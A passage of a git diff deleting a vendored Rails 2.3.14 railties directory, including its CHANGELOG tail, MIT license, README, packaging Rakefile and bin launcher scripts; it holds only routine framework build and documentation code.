-* create_fixtures in both the functional and unit test helper now turns off the log during fixture generation
-  and can generate more than one fixture at a time. Which makes it possible for assignments like:
-  
-    @people, @projects, @project_access, @companies, @accounts = 
-      create_fixtures "people", "projects", "project_access", "companies", "accounts"
-
-* Upgraded to Action Pack 0.8.5 (locally-scoped variables, partials, advanced send_file)
-
-* Upgraded to Active Record 0.9.5 (better table_name guessing, cloning, find_all_in_collection)
-
-
-*0.6.5*
-
-* No longer specifies a template for rdoc, so it'll use whatever is default (you can change it in the rakefile)
-
-* The new_model generator will now use the same rules for plural wordings as Active Record 
-  (so Category will give categories, not categorys) [Kevin Radloff]
-
-* dispatch.fcgi now sets FCGI_PURE_RUBY to true to ensure that it's the Ruby version that's loaded [danp]
-
-* Made the GEM work with Windows
-
-* Fixed bug where mod_ruby would "forget" the load paths added when switching between controllers
-
-* PostgreSQL are now supported for the automated production => test database dropping [Kevin Radloff]
-
-* Errors thrown by the dispatcher are now properly handled in FCGI.
-
-* Upgraded to Action Pack 0.8.0 (lots and lots and lots of fixes)
-
-* Upgraded to Active Record 0.9.4 (a bunch of fixes)
-
-
-*0.6.0*
-
-* Added AbstractionApplicationController as a superclass for all controllers generated. This class can be used
-  to carry filters and methods that are to be shared by all. It has an accompanying ApplicationHelper that all
-  controllers will also automatically have available.
-
-* Added environments that can be included from any script to get the full Active Record and Action Controller
-  context running. This can be used by maintenance scripts or to interact with the model through IRB. Example:
-  
-    require 'config/environments/production'
-    
-    for account in Account.find_all
-      account.recalculate_interests
-    end
-  
-  A short migration script for an account model that had it's interest calculation strategy changed.
-
-* Accessing the index of a controller with "/weblog" will now redirect to "/weblog/" (only on Apache, not WEBrick)
-
-* Simplified the default Apache config so even remote requests are served off CGI as a default.
-  You'll now have to do something specific to activate mod_ruby and FCGI (like using the force urls).
-  This should make it easier for new comers that start on an external server.
-
-* Added more of the necessary Apache options to .htaccess to make it easier to setup
-
-* Upgraded to Action Pack 0.7.9 (lots of fixes)
-
-* Upgraded to Active Record 0.9.3 (lots of fixes)
-
-
-*0.5.7*
-
-* Fixed bug in the WEBrick dispatcher that prevented it from getting parameters from the URL
-  (through GET requests or otherwise)
-
-* Added lib in root as a place to store app specific libraries
-
-* Added lib and vendor to load_path, so anything store within can be loaded directly. 
-  Hence lib/redcloth.rb can be loaded with require "redcloth"
-
-* Upgraded to Action Pack 0.7.8 (lots of fixes)
-
-* Upgraded to Active Record 0.9.2 (minor upgrade)
-
-
-*0.5.6*
-
-* Upgraded to Action Pack 0.7.7 (multipart form fix)
-
-* Updated the generated template stubs to valid XHTML files
-
-* Ensure that controllers generated are capitalized, so "new_controller TodoLists" 
-  gives the same as "new_controller Todolists" and "new_controller todolists".
-
-
-*0.5.5*
-
-* Works on Windows out of the box! (Dropped symlinks)
-
-* Added webrick dispatcher: Try "ruby public/dispatch.servlet --help" [Florian Gross]
-
-* Report errors about initialization to browser (instead of attempting to use uninitialized logger)
-
-* Upgraded to Action Pack 0.7.6
-
-* Upgraded to Active Record 0.9.1
-
-* Added distinct 500.html instead of reusing 404.html
-
-* Added MIT license
-
-
-*0.5.0*
-
-* First public release
diff --git a/vendor/rails/railties/MIT-LICENSE b/vendor/rails/railties/MIT-LICENSE
deleted file mode 100644
index 86bcb23b..00000000
--- a/vendor/rails/railties/MIT-LICENSE
+++ /dev/null
@@ -1,20 +0,0 @@
-Copyright (c) 2004-2010 David Heinemeier Hansson
-
-Permission is hereby granted, free of charge, to any person obtaining
-a copy of this software and associated documentation files (the
-"Software"), to deal in the Software without restriction, including
-without limitation the rights to use, copy, modify, merge, publish,
-distribute, sublicense, and/or sell copies of the Software, and to
-permit persons to whom the Software is furnished to do so, subject to
-the following conditions:
-
-The above copyright notice and this permission notice shall be
-included in all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
-LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
-OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
-WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
\ No newline at end of file
diff --git a/vendor/rails/railties/README b/vendor/rails/railties/README
deleted file mode 100644
index 37ec8ea2..00000000
--- a/vendor/rails/railties/README
+++ /dev/null
@@ -1,243 +0,0 @@
-== Welcome to Rails
-
-Rails is a web-application framework that includes everything needed to create 
-database-backed web applications according to the Model-View-Control pattern. 
-
-This pattern splits the view (also called the presentation) into "dumb" templates
-that are primarily responsible for inserting pre-built data in between HTML tags.
-The model contains the "smart" domain objects (such as Account, Product, Person,
-Post) that holds all the business logic and knows how to persist themselves to
-a database. The controller handles the incoming requests (such as Save New Account,
-Update Product, Show Post) by manipulating the model and directing data to the view.
-
-In Rails, the model is handled by what's called an object-relational mapping
-layer entitled Active Record. This layer allows you to present the data from
-database rows as objects and embellish these data objects with business logic
-methods. You can read more about Active Record in
-link:files/vendor/rails/activerecord/README.html.
-
-The controller and view are handled by the Action Pack, which handles both
-layers by its two parts: Action View and Action Controller. These two layers
-are bundled in a single package due to their heavy interdependence. This is
-unlike the relationship between the Active Record and Action Pack that is much
-more separate. Each of these packages can be used independently outside of
-Rails.  You can read more about Action Pack in
-link:files/vendor/rails/actionpack/README.html.
-
-
-== Getting Started
-
-1. At the command prompt, start a new Rails application using the <tt>rails</tt> command
-   and your application name. Ex: rails myapp
-2. Change directory into myapp and start the web server: <tt>script/server</tt> (run with --help for options)
-3. Go to http://localhost:3000/ and get "Welcome aboard: You're riding the Rails!"
-4. Follow the guidelines to start developing your application
-
-
-== Web Servers
-
-By default, Rails will try to use Mongrel if it's are installed when started with script/server, otherwise Rails will use WEBrick, the webserver that ships with Ruby. But you can also use Rails
-with a variety of other web servers.
-
-Mongrel is a Ruby-based webserver with a C component (which requires compilation) that is
-suitable for development and deployment of Rails applications. If you have Ruby Gems installed,
-getting up and running with mongrel is as easy as: <tt>gem install mongrel</tt>.
-More info at: http://mongrel.rubyforge.org
-
-Say other Ruby web servers like Thin and Ebb or regular web servers like Apache or LiteSpeed or
-Lighttpd or IIS. The Ruby web servers are run through Rack and the latter can either be setup to use
-FCGI or proxy to a pack of Mongrels/Thin/Ebb servers.
-
-== Apache .htaccess example for FCGI/CGI
-
-# General Apache options
-AddHandler fastcgi-script .fcgi
-AddHandler cgi-script .cgi
-Options +FollowSymLinks +ExecCGI
-
-# If you don't want Rails to look in certain directories,
-# use the following rewrite rules so that Apache won't rewrite certain requests
-# 
-# Example:
-#   RewriteCond %{REQUEST_URI} ^/notrails.*
-#   RewriteRule .* - [L]
-
-# Redirect all requests not available on the filesystem to Rails
-# By default the cgi dispatcher is used which is very slow
-# 
-# For better performance replace the dispatcher with the fastcgi one
-#
-# Example:
-#   RewriteRule ^(.*)$ dispatch.fcgi [QSA,L]
-RewriteEngine On
-
-# If your Rails application is accessed via an Alias directive,
-# then you MUST also set the RewriteBase in this htaccess file.
-#
-# Example:
-#   Alias /myrailsapp /path/to/myrailsapp/public
-#   RewriteBase /myrailsapp
-
-RewriteRule ^$ index.html [QSA]
-RewriteRule ^([^.]+)$ $1.html [QSA]
-RewriteCond %{REQUEST_FILENAME} !-f
-RewriteRule ^(.*)$ dispatch.cgi [QSA,L]
-
-# In case Rails experiences terminal errors
-# Instead of displaying this message you can supply a file here which will be rendered instead
-# 
-# Example:
-#   ErrorDocument 500 /500.html
-
-ErrorDocument 500 "<h2>Application error</h2>Rails application failed to start properly"
-
-
-== Debugging Rails
-
-Sometimes your application goes wrong.  Fortunately there are a lot of tools that
-will help you debug it and get it back on the rails.
-
-First area to check is the application log files.  Have "tail -f" commands running
-on the server.log and development.log. Rails will automatically display debugging
-and runtime information to these files. Debugging info will also be shown in the
-browser on requests from 127.0.0.1.
-
-You can also log your own messages directly into the log file from your code using
-the Ruby logger class from inside your controllers. Example:
-
-  class WeblogController < ActionController::Base
-    def destroy
-      @weblog = Weblog.find(params[:id])
-      @weblog.destroy
-      logger.info("#{Time.now} Destroyed Weblog ID ##{@weblog.id}!")
-    end
-  end
-
-The result will be a message in your log file along the lines of:
-
-  Mon Oct 08 14:22:29 +1000 2007 Destroyed Weblog ID #1
-
-More information on how to use the logger is at http://www.ruby-doc.org/core/
-
-Also, Ruby documentation can be found at http://www.ruby-lang.org/ including:
-
-* The Learning Ruby (Pickaxe) Book: http://www.ruby-doc.org/docs/ProgrammingRuby/
-* Learn to Program: http://pine.fm/LearnToProgram/  (a beginners guide)
-
-These two online (and free) books will bring you up to speed on the Ruby language
-and also on programming in general.
-
-
-== Debugger
-
-Debugger support is available through the debugger command when you start your Mongrel or
-Webrick server with --debugger. This means that you can break out of execution at any point
-in the code, investigate and change the model, AND then resume execution! 
-You need to install ruby-debug to run the server in debugging mode. With gems, use 'gem install ruby-debug'
-Example:
-
-  class WeblogController < ActionController::Base
-    def index
-      @posts = Post.find(:all)
-      debugger
-    end
-  end
-
-So the controller will accept the action, run the first line, then present you
-with a IRB prompt in the server window. Here you can do things like:
-
-  >> @posts.inspect
-  => "[#<Post:0x14a6be8 @attributes={\"title\"=>nil, \"body\"=>nil, \"id\"=>\"1\"}>,
-       #<Post:0x14a6620 @attributes={\"title\"=>\"Rails you know!\", \"body\"=>\"Only ten..\", \"id\"=>\"2\"}>]"
-  >> @posts.first.title = "hello from a debugger"
-  => "hello from a debugger"
-
-...and even better is that you can examine how your runtime objects actually work:
-
-  >> f = @posts.first
-  => #<Post:0x13630c4 @attributes={"title"=>nil, "body"=>nil, "id"=>"1"}>
-  >> f.
-  Display all 152 possibilities? (y or n)
-
-Finally, when you're ready to resume execution, you enter "cont"
-
-
-== Console
-
-You can interact with the domain model by starting the console through <tt>script/console</tt>.
-Here you'll have all parts of the application configured, just like it is when the
-application is running. You can inspect domain models, change values, and save to the
-database. Starting the script without arguments will launch it in the development environment.
-Passing an argument will specify a different environment, like <tt>script/console production</tt>.
-
-To reload your controllers and models after launching the console run <tt>reload!</tt>
-
-== dbconsole
-
-You can go to the command line of your database directly through <tt>script/dbconsole</tt>.
-You would be connected to the database with the credentials defined in database.yml.
-Starting the script without arguments will connect you to the development database. Passing an
-argument will connect you to a different database, like <tt>script/dbconsole production</tt>.
-Currently works for mysql, postgresql and sqlite.
-
-== Description of Contents
-
-app
-  Holds all the code that's specific to this particular application.
-
-app/controllers
-  Holds controllers that should be named like weblogs_controller.rb for
-  automated URL mapping. All controllers should descend from ApplicationController
-  which itself descends from ActionController::Base.
-
-app/models
-  Holds models that should be named like post.rb.
-  Most models will descend from ActiveRecord::Base.
-
-app/views
-  Holds the template files for the view that should be named like
-  weblogs/index.html.erb for the WeblogsController#index action. All views use eRuby
-  syntax.
-
-app/views/layouts
-  Holds the template files for layouts to be used with views. This models the common
-  header/footer method of wrapping views. In your views, define a layout using the
-  <tt>layout :default</tt> and create a file named default.html.erb. Inside default.html.erb,
-  call <% yield %> to render the view using this layout.
-
-app/helpers
-  Holds view helpers that should be named like weblogs_helper.rb. These are generated
-  for you automatically when using script/generate for controllers. Helpers can be used to
-  wrap functionality for your views into methods.
-
-config
-  Configuration files for the Rails environment, the routing map, the database, and other dependencies.
-
-db
-  Contains the database schema in schema.rb.  db/migrate contains all
-  the sequence of Migrations for your schema.
-
-doc
-  This directory is where your application documentation will be stored when generated
-  using <tt>rake doc:app</tt>
-
-lib
-  Application specific libraries. Basically, any kind of custom code that doesn't
-  belong under controllers, models, or helpers. This directory is in the load path.
-
-public
-  The directory available for the web server. Contains subdirectories for images, stylesheets,
-  and javascripts. Also contains the dispatchers and the default HTML files. This should be
-  set as the DOCUMENT_ROOT of your web server.
-
-script
-  Helper scripts for automation and generation.
-
-test
-  Unit and functional tests along with fixtures. When using the script/generate scripts, template
-  test files will be generated for you and placed in this directory.
-
-vendor
-  External libraries that the application depends on. Also includes the plugins subdirectory.
-  If the app has frozen rails, those gems also go here, under vendor/rails/.
-  This directory is in the load path.
diff --git a/vendor/rails/railties/Rakefile b/vendor/rails/railties/Rakefile
deleted file mode 100644
index c3d8eeb7..00000000
--- a/vendor/rails/railties/Rakefile
+++ /dev/null
@@ -1,365 +0,0 @@
-require 'rake'
-require 'rake/testtask'
-require 'rdoc/task'
-require 'rubygems/package_task'
-
-require 'date'
-require 'rbconfig'
-
-require File.join(File.dirname(__FILE__), 'lib/rails', 'version')
-
-PKG_BUILD       = ENV['PKG_BUILD'] ? '.' + ENV['PKG_BUILD'] : ''
-PKG_NAME        = 'rails'
-PKG_VERSION     = Rails::VERSION::STRING + PKG_BUILD
-PKG_FILE_NAME   = "#{PKG_NAME}-#{PKG_VERSION}"
-PKG_DESTINATION = ENV["RAILS_PKG_DESTINATION"] || "../#{PKG_NAME}"
-
-RELEASE_NAME  = "REL #{PKG_VERSION}"
-
-RUBY_FORGE_PROJECT = "rails"
-RUBY_FORGE_USER    = "webster132"
-
-
-task :default => :test
-
-## This is required until the regular test task
-## below passes.  It's not ideal, but at least
-## we can see the failures
-task :test do 
-  Dir['test/**/*_test.rb'].all? do |file|
-    ruby = File.join(*RbConfig::CONFIG.values_at('bindir', 'RUBY_INSTALL_NAME'))
-    system(ruby, '-Itest', file)
-  end or raise "Failures"
-end
-
-Rake::TestTask.new("regular_test") do |t|
-  t.libs << 'test'
-  t.pattern = 'test/**/*_test.rb'
-  t.warning = true
-  t.verbose = true
-end
-
-
-BASE_DIRS = %w( 
-  app
-  config/environments
-  config/initializers
-  config/locales
-  db
-  doc
-  log
-  lib
-  lib/tasks
-  public
-  script
-  script/performance
-  test
-  vendor
-  vendor/plugins
-  tmp/sessions
-  tmp/cache
-  tmp/sockets
-  tmp/pids
-)
-
-APP_DIRS    = %w( models controllers helpers views views/layouts )
-PUBLIC_DIRS = %w( images javascripts stylesheets )
-TEST_DIRS   = %w( fixtures unit functional mocks mocks/development mocks/test )
-
-LOG_FILES    = %w( server.log development.log test.log production.log )
-HTML_FILES   = %w( 422.html 404.html 500.html index.html robots.txt favicon.ico images/rails.png
-                   javascripts/prototype.js javascripts/application.js
-                   javascripts/effects.js javascripts/dragdrop.js javascripts/controls.js )
-BIN_FILES    = %w( about console destroy generate performance/benchmarker performance/profiler runner server plugin )
-
-VENDOR_LIBS = %w( actionpack activerecord actionmailer activesupport activeresource railties )
-
-
-desc "Generates a fresh Rails package with documentation"
-task :fresh_rails => [ :clean, :make_dir_structure, :initialize_file_stubs, :copy_vendor_libraries, :copy_ties_content, :generate_documentation ]
-
-desc "Generates a fresh Rails package using GEMs with documentation"
-task :fresh_gem_rails => [ :clean, :make_dir_structure, :initialize_file_stubs, :copy_ties_content, :copy_gem_environment ]
-
-desc "Generates a fresh Rails package without documentation (faster)"
-task :fresh_rails_without_docs => [ :clean, :make_dir_structure, :initialize_file_stubs, :copy_vendor_libraries, :copy_ties_content ]
-
-desc "Generates a fresh Rails package without documentation (faster)"
-task :fresh_rails_without_docs_using_links => [ :clean, :make_dir_structure, :initialize_file_stubs, :link_vendor_libraries, :copy_ties_content ]
-
-desc "Generates minimal Rails package using symlinks"
-task :dev => [ :clean, :make_dir_structure, :initialize_file_stubs, :link_vendor_libraries, :copy_ties_content ]
-
-desc "Packages the fresh Rails package with documentation"
-task :package => [ :clean, :fresh_rails ] do
-  system %{cd ..; tar -czvf #{PKG_NAME}-#{PKG_VERSION}.tgz #{PKG_NAME}}
-  system %{cd ..; zip -r #{PKG_NAME}-#{PKG_VERSION}.zip #{PKG_NAME}}
-end
-
-task :clean do
-  rm_rf PKG_DESTINATION
-end
-
-# Get external spinoffs -------------------------------------------------------------------
-
-desc "Updates railties to the latest version of the javascript spinoffs"
-task :update_js do
-  for js in %w( prototype controls dragdrop effects )
-    rm "html/javascripts/#{js}.js"
-    cp "./../actionpack/lib/action_view/helpers/javascripts/#{js}.js", "html/javascripts"
-  end
-end
-
-# Make directory structure ----------------------------------------------------------------
-
-def make_dest_dirs(dirs, path = '.')
-  mkdir_p dirs.map { |dir| File.join(PKG_DESTINATION, path.to_s, dir) }
-end
-
-desc "Make the directory structure for the new Rails application"
-task :make_dir_structure => [ :make_base_dirs, :make_app_dirs, :make_public_dirs, :make_test_dirs ]
-
-task(:make_base_dirs)   { make_dest_dirs BASE_DIRS              }
-task(:make_app_dirs)    { make_dest_dirs APP_DIRS,    'app'     }
-task(:make_public_dirs) { make_dest_dirs PUBLIC_DIRS, 'public'  }
-task(:make_test_dirs)   { make_dest_dirs TEST_DIRS,   'test'    }
-
-
-# Initialize file stubs -------------------------------------------------------------------
-
-desc "Initialize empty file stubs (such as for logging)"
-task :initialize_file_stubs => [ :initialize_log_files ]
-
-task :initialize_log_files do
-  log_dir = File.join(PKG_DESTINATION, 'log')
-  chmod 0777, log_dir
-  LOG_FILES.each do |log_file|
-    log_path = File.join(log_dir, log_file)
-    touch log_path
-    chmod 0666, log_path
-  end
-end
-
-
-# Copy Vendors ----------------------------------------------------------------------------
-
-desc "Copy in all the Rails packages to vendor"
-task :copy_vendor_libraries do
-  mkdir File.join(PKG_DESTINATION, 'vendor', 'rails')
-  VENDOR_LIBS.each { |dir| cp_r File.join('..', dir), File.join(PKG_DESTINATION, 'vendor', 'rails', dir) }
-  FileUtils.rm_r(Dir.glob(File.join(PKG_DESTINATION, 'vendor', 'rails', "**", ".svn")))
-end
-
-desc "Link in all the Rails packages to vendor"
-task :link_vendor_libraries do
-  mkdir File.join(PKG_DESTINATION, 'vendor', 'rails')
-  VENDOR_LIBS.each { |dir| ln_s File.join('..', '..', '..', dir), File.join(PKG_DESTINATION, 'vendor', 'rails', dir) }
-end
-
-
-# Copy Ties Content -----------------------------------------------------------------------
-
-desc "Make copies of all the default content of ties"
-task :copy_ties_content => [ 
-  :copy_rootfiles, :copy_dispatches, :copy_html_files, :copy_application,
-  :copy_configs, :copy_binfiles, :copy_test_helpers, :copy_app_doc_readme ]
-
-task :copy_dispatches do
-  copy_with_rewritten_ruby_path("dispatches/dispatch.rb", "#{PKG_DESTINATION}/public/dispatch.rb")
-  chmod 0755, "#{PKG_DESTINATION}/public/dispatch.rb"
-
-  copy_with_rewritten_ruby_path("dispatches/dispatch.rb", "#{PKG_DESTINATION}/public/dispatch.cgi")
-  chmod 0755, "#{PKG_DESTINATION}/public/dispatch.cgi"
-
-  copy_with_rewritten_ruby_path("dispatches/dispatch.fcgi", "#{PKG_DESTINATION}/public/dispatch.fcgi")
-  chmod 0755, "#{PKG_DESTINATION}/public/dispatch.fcgi"
-end
-
-task :copy_html_files do
-  HTML_FILES.each { |file| cp File.join('html', file), File.join(PKG_DESTINATION, 'public', file) }
-end
-
-task :copy_application do
-  cp "helpers/application_controller.rb", "#{PKG_DESTINATION}/app/controllers/application_controller.rb"
-  cp "helpers/application_helper.rb", "#{PKG_DESTINATION}/app/helpers/application_helper.rb"
-end
-
-task :copy_configs do
-  app_name = "rails"
-  socket = nil
-  require 'erb'
-  File.open("#{PKG_DESTINATION}/config/database.yml", 'w') {|f| f.write ERB.new(IO.read("configs/databases/sqlite3.yml"), nil, '-').result(binding)}
-  
-  cp "configs/routes.rb", "#{PKG_DESTINATION}/config/routes.rb"
-
-  cp "configs/initializers/backtrace_silencers.rb", "#{PKG_DESTINATION}/config/initializers/backtrace_silencers.rb"
-  cp "configs/initializers/inflections.rb",         "#{PKG_DESTINATION}/config/initializers/inflections.rb"
-  cp "configs/initializers/mime_types.rb",          "#{PKG_DESTINATION}/config/initializers/mime_types.rb"
-  cp "configs/initializers/new_rails_defaults.rb",  "#{PKG_DESTINATION}/config/initializers/new_rails_defaults.rb"
-
-  cp "configs/locales/en.yml", "#{PKG_DESTINATION}/config/locales/en.yml"
-
-  cp "configs/seeds.rb", "#{PKG_DESTINATION}/db/seeds.rb"
-
-  cp "environments/boot.rb",        "#{PKG_DESTINATION}/config/boot.rb"
-  File.open("#{PKG_DESTINATION}/config/environment.rb", 'w') {|f| f.write ERB.new(IO.read("environments/environment.rb"), nil, '-').result(binding)}
-  cp "environments/production.rb",  "#{PKG_DESTINATION}/config/environments/production.rb"
-  cp "environments/development.rb", "#{PKG_DESTINATION}/config/environments/development.rb"
-  cp "environments/test.rb",        "#{PKG_DESTINATION}/config/environments/test.rb"
-
-end
-
-task :copy_binfiles do
-  BIN_FILES.each do |file|
-    dest_file = File.join(PKG_DESTINATION, 'script', file)
-    copy_with_rewritten_ruby_path(File.join('bin', file), dest_file)
-    chmod 0755, dest_file
-  end
-end
-
-task :copy_rootfiles do
-  cp "fresh_rakefile", "#{PKG_DESTINATION}/Rakefile"
-  cp "README", "#{PKG_DESTINATION}/README"
-  cp "CHANGELOG", "#{PKG_DESTINATION}/CHANGELOG"
-end
-
-task :copy_test_helpers do
-  cp "helpers/test_helper.rb", "#{PKG_DESTINATION}/test/test_helper.rb"
-end
-
-task :copy_app_doc_readme do
-  cp "doc/README_FOR_APP", "#{PKG_DESTINATION}/doc/README_FOR_APP"
-end
-
-def copy_with_rewritten_ruby_path(src_file, dest_file)
-  ruby = File.join(Config::CONFIG['bindir'], Config::CONFIG['ruby_install_name'])
-
-  File.open(dest_file, 'w') do |df|
-    File.open(src_file) do |sf|
-      line = sf.gets
-      if (line =~ /#!.+ruby\s*/) != nil
-        df.puts("#!#{ruby}")
-      else
-        df.puts(line)
-      end
-      df.write(sf.read)
-    end
-  end
-end
-
-desc 'Generate guides (for authors), use ONLY=foo to process just "foo.textile"'
-task :generate_guides do
-  ruby "guides/rails_guides.rb"
-end
-
-
-# Generate documentation ------------------------------------------------------------------
-
-desc "Generate documentation for the framework and for the empty application"
-task :generate_documentation => [ :generate_app_doc, :generate_rails_framework_doc ]
-
-task :generate_rails_framework_doc do
-  system %{cd #{PKG_DESTINATION}; rake doc:rails}
-end
-
-task :generate_app_doc do
-  cp "doc/README_FOR_APP", "#{PKG_DESTINATION}/doc/README_FOR_APP"
-  system %{cd #{PKG_DESTINATION}; rake doc:app}
-end
-
-RDoc::Task.new { |rdoc|
-  rdoc.rdoc_dir = 'doc'
-  rdoc.title    = "Railties -- Gluing the Engine to the Rails"
-  rdoc.options << '--line-numbers' << '--inline-source' << '--accessor' << 'cattr_accessor=object'
-  rdoc.options << '--charset' << 'utf-8'
-  rdoc.template = ENV['template'] ? "#{ENV['template']}.rb" : '../doc/template/horo'
-  rdoc.rdoc_files.include('README', 'CHANGELOG')
-  rdoc.rdoc_files.include('lib/*.rb')
-  rdoc.rdoc_files.include('lib/rails/*.rb')
-  rdoc.rdoc_files.include('lib/rails_generator/*.rb')
-  rdoc.rdoc_files.include('lib/commands/**/*.rb')
-}
-
-# Generate GEM ----------------------------------------------------------------------------
-
-task :copy_gem_environment do
-  cp "environments/environment.rb", "#{PKG_DESTINATION}/config/environment.rb"
-  chmod 0755, dest_file
-end
-
-
-PKG_FILES = FileList[
-  '[a-zA-Z]*',
-  'bin/**/*', 
-  'builtin/**/*',
-  'configs/**/*', 
-  'doc/**/*', 
-  'dispatches/**/*', 
-  'environments/**/*', 
-  'helpers/**/*', 
-  'generators/**/*', 
-  'html/**/*', 
-  'lib/**/*'
-] - [ 'test' ]
-
-spec = Gem::Specification.new do |s|
-  s.platform = Gem::Platform::RUBY
-  s.name = 'rails'
-  s.version = PKG_VERSION
-  s.summary = "Web-application framework with template engine, control-flow layer, and ORM."
-  s.description = <<-EOF
-    Rails is a framework for building web-application using CGI, FCGI, mod_ruby, or WEBrick
-    on top of either MySQL, PostgreSQL, SQLite, DB2, SQL Server, or Oracle with eRuby- or Builder-based templates.
-  EOF
-
-  s.add_dependency('rake', '>= 0.8.3')
-  s.add_dependency('activesupport',    '= 2.3.14' + PKG_BUILD)
-  s.add_dependency('activerecord',     '= 2.3.14' + PKG_BUILD)
-  s.add_dependency('actionpack',       '= 2.3.14' + PKG_BUILD)
-  s.add_dependency('actionmailer',     '= 2.3.14' + PKG_BUILD)
-  s.add_dependency('activeresource',   '= 2.3.14' + PKG_BUILD)
-
-  s.rdoc_options << '--exclude' << '.'
-
-  s.files = PKG_FILES
-  s.require_path = 'lib'
-  s.bindir = "bin"                               # Use these for applications.
-  s.executables = ["rails"]
-
-  s.author = "David Heinemeier Hansson"
-  s.email = "david@loudthinking.com"
-  s.homepage = "http://www.rubyonrails.org"
-  s.rubyforge_project = "rails"
-end
-
-Gem::PackageTask.new(spec) do |pkg|
-  pkg.gem_spec = spec
-end
-
-
-# Publishing -------------------------------------------------------
-desc "Publish the rails gem"
-task :pgem => [:gem] do 
-  Rake::SshFilePublisher.new("gems.rubyonrails.org", "/u/sites/gems/gems", "pkg", "#{PKG_FILE_NAME}.gem").upload
-  `ssh gems.rubyonrails.org '/u/sites/gems/gemupdate.sh'`
-end
-
-desc "Publish the guides"
-task :pguides => :generate_guides do
-  mkdir_p 'pkg'
-  `tar -czf pkg/guides.gz guides/output`
-  Rake::SshFilePublisher.new("web.rubyonrails.org", "/u/sites/guides.rubyonrails.org/public", "pkg", "guides.gz").upload
-  `ssh web.rubyonrails.org 'cd /u/sites/guides.rubyonrails.org/public/ && tar -xvzf guides.gz && mv guides/output/* . && rm -rf guides*'`
-end
-
-desc "Publish the release files to RubyForge."
-task :release => [ :package ] do
-  require 'rake/contrib/rubyforgepublisher'
-  require 'rubyforge'
-
-  packages = %w( gem ).collect{ |ext| "pkg/#{PKG_NAME}-#{PKG_VERSION}.#{ext}" }
-
-  rubyforge = RubyForge.new
-  rubyforge.login
-  rubyforge.add_release(PKG_NAME, PKG_NAME, "REL #{PKG_VERSION}", *packages)
-end
diff --git a/vendor/rails/railties/bin/about b/vendor/rails/railties/bin/about
deleted file mode 100755
index 1eeb6eb9..00000000
--- a/vendor/rails/railties/bin/about
+++ /dev/null
@@ -1,4 +0,0 @@
-#!/usr/bin/env ruby
-require File.expand_path('../../config/boot',  __FILE__)
-$LOAD_PATH.unshift "#{RAILTIES_PATH}/builtin/rails_info"
-require 'commands/about'
diff --git a/vendor/rails/railties/bin/console b/vendor/rails/railties/bin/console
deleted file mode 100755
index 235a1f27..00000000
--- a/vendor/rails/railties/bin/console
+++ /dev/null
@@ -1,3 +0,0 @@
-#!/usr/bin/env ruby
-require File.expand_path('../../config/boot',  __FILE__)
-require 'commands/console'
diff --git a/vendor/rails/railties/bin/dbconsole b/vendor/rails/railties/bin/dbconsole
deleted file mode 100755
index 83c8436a..00000000
--- a/vendor/rails/railties/bin/dbconsole
+++ /dev/null
@@ -1,3 +0,0 @@
-#!/usr/bin/env ruby
-require File.expand_path('../../config/boot',  __FILE__)
-require 'commands/dbconsole'
diff --git a/vendor/rails/railties/bin/destroy b/vendor/rails/railties/bin/destroy
deleted file mode 100755
index 88d295f7..00000000
--- a/vendor/rails/railties/bin/destroy
+++ /dev/null
@@ -1,3 +0,0 @@
-#!/usr/bin/env ruby
-require File.expand_path('../../config/boot',  __FILE__)
-require 'commands/destroy'
diff --git a/vendor/rails/railties/bin/generate b/vendor/rails/railties/bin/generate
deleted file mode 100755
index 62a8a4c0..00000000
--- a/vendor/rails/railties/bin/generate
+++ /dev/null
@@ -1,3 +0,0 @@
-#!/usr/bin/env ruby
-require File.expand_path('../../config/boot',  __FILE__)
-require 'commands/generate'
diff --git a/vendor/rails/railties/bin/performance/benchmarker b/vendor/rails/railties/bin/performance/benchmarker
deleted file mode 100755
index 3bff809f..00000000
--- a/vendor/rails/railties/bin/performance/benchmarker
+++ /dev/null
@@ -1,3 +0,0 @@
-#!/usr/bin/env ruby
-require File.expand_path('../../../config/boot',  __FILE__)
-require 'commands/performance/benchmarker'
diff --git a/vendor/rails/railties/bin/performance/profiler b/vendor/rails/railties/bin/performance/profiler
deleted file mode 100755
index 07640575..00000000
--- a/vendor/rails/railties/bin/performance/profiler
+++ /dev/null
@@ -1,3 +0,0 @@
-#!/usr/bin/env ruby
-require File.expand_path('../../../config/boot',  __FILE__)
-require 'commands/performance/profiler'
diff --git a/vendor/rails/railties/bin/plugin b/vendor/rails/railties/bin/plugin
deleted file mode 100755
index b82201fa..00000000
--- a/vendor/rails/railties/bin/plugin
+++ /dev/null
@@ -1,3 +0,0 @@
-#!/usr/bin/env ruby
-require File.expand_path('../../config/boot',  __FILE__)
-require 'commands/plugin'
diff --git a/vendor/rails/railties/bin/rails b/vendor/rails/railties/bin/rails
deleted file mode 100755
index 728d0544..00000000
--- a/vendor/rails/railties/bin/rails
+++ /dev/null
@@ -1,21 +0,0 @@
-$:.unshift File.expand_path("../../lib", __FILE__)
-
-require 'ruby_version_check'
-Signal.trap("INT") { puts; exit }
-
-require 'rails/version'
-if %w(--version -v).include? ARGV.first
-  puts "Rails #{Rails::VERSION::STRING}"
-  exit(0)
-end
-
-freeze   = ARGV.any? { |option| %w(--freeze -f).include?(option) }
-app_path = ARGV.first
-
-require 'rails_generator'
-require 'rails_generator/scripts/generate'
-
-Rails::Generator::Base.use_application_sources!
-Rails::Generator::Scripts::Generate.new.run(ARGV, :generator => 'app')
-
-Dir.chdir(app_path) { `rake rails:freeze:gems`; puts "froze" } if freeze
\ No newline at end of file
diff --git a/vendor/rails/railties/bin/runner b/vendor/rails/railties/bin/runner
deleted file mode 100755
index be4c5d45..00000000
--- a/vendor/rails/railties/bin/runner
+++ /dev/null
@@ -1,3 +0,0 @@
-#!/usr/bin/env ruby
-require File.expand_path('../../config/boot',  __FILE__)
-require 'commands/runner'
diff --git a/vendor/rails/railties/bin/server b/vendor/rails/railties/bin/server
deleted file mode 100755
index b9fcb717..00000000
--- a/vendor/rails/railties/bin/server
+++ /dev/null
@@ -1,3 +0,0 @@
